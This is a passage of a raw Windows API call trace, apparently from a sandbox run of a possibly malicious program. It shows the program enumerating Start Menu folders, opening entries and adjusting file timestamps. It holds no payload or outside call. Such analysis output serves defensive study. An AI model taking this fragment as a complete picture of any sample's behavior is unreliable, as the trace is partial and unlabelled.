Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbfc0 [0092.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.119] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0092.120] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.120] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="About Java.lnk", cAlternateFileName="")) returned 1 [0092.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbfc0) returned 1 [0092.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8718 [0092.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13690d8 [0092.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.122] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Check For Updates.lnk", cAlternateFileName="")) returned 1 [0092.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8738 [0092.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368fd0 [0092.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.124] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762a4380, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762a4380, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configure Java.lnk", cAlternateFileName="")) returned 1 [0092.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8758 [0092.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136c780 [0092.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.126] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7591eb80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7591eb80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Help.lnk", cAlternateFileName="")) returned 1 [0092.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8778 [0092.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136c888 [0092.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visit Java.com.lnk", cAlternateFileName="")) returned 1 [0092.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8798 [0092.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136c990 [0092.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.130] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visit Java.com.lnk", cAlternateFileName="")) returned 0 [0092.131] GetLastError () returned 0x12 [0092.131] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0092.131] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.131] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.131] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="About Java.lnk", cAlternateFileName="")) returned 1 [0092.131] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Check For Updates.lnk", cAlternateFileName="")) returned 1 [0092.131] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762a4380, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762a4380, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configure Java.lnk", cAlternateFileName="")) returned 1 [0092.131] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7591eb80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7591eb80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Help.lnk", cAlternateFileName="")) returned 1 [0092.131] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visit Java.com.lnk", cAlternateFileName="")) returned 1 [0092.131] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visit Java.com.lnk", cAlternateFileName="")) returned 0 [0092.131] GetLastError () returned 0x12 [0092.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.131] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0092.132] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.133] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="")) returned 1 [0092.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.133] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\maintenance"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0092.133] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\maintenance"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0092.133] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0092.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.134] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0092.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.134] NtClose (Handle=0x16c) returned 0x0 [0092.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ca98 [0092.136] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0092.136] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.136] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1030d3, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a1030d3, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a1030d3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup and Restore Center.lnk", cAlternateFileName="")) returned 1 [0092.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cba0 [0092.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f87b8 [0092.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cca8 [0092.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.151] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a77447, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89a77447, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89a77447, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Create Recovery Disc.lnk", cAlternateFileName="")) returned 1 [0092.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f87d8 [0092.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cdb0 [0092.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.154] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec13fc0c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec13fc0c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0092.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f87f8 [0092.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ceb8 [0092.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.156] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab46fc5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Assistance.lnk", cAlternateFileName="")) returned 1 [0092.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8818 [0092.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cfc0 [0092.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.158] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab46fc5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Assistance.lnk", cAlternateFileName="")) returned 0 [0092.158] GetLastError () returned 0x12 [0092.158] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0092.158] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0092.158] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.158] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1030d3, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a1030d3, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a1030d3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup and Restore Center.lnk", cAlternateFileName="")) returned 1 [0092.158] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a77447, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89a77447, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89a77447, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Create Recovery Disc.lnk", cAlternateFileName="")) returned 1 [0092.158] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec13fc0c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec13fc0c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0092.158] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab46fc5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, 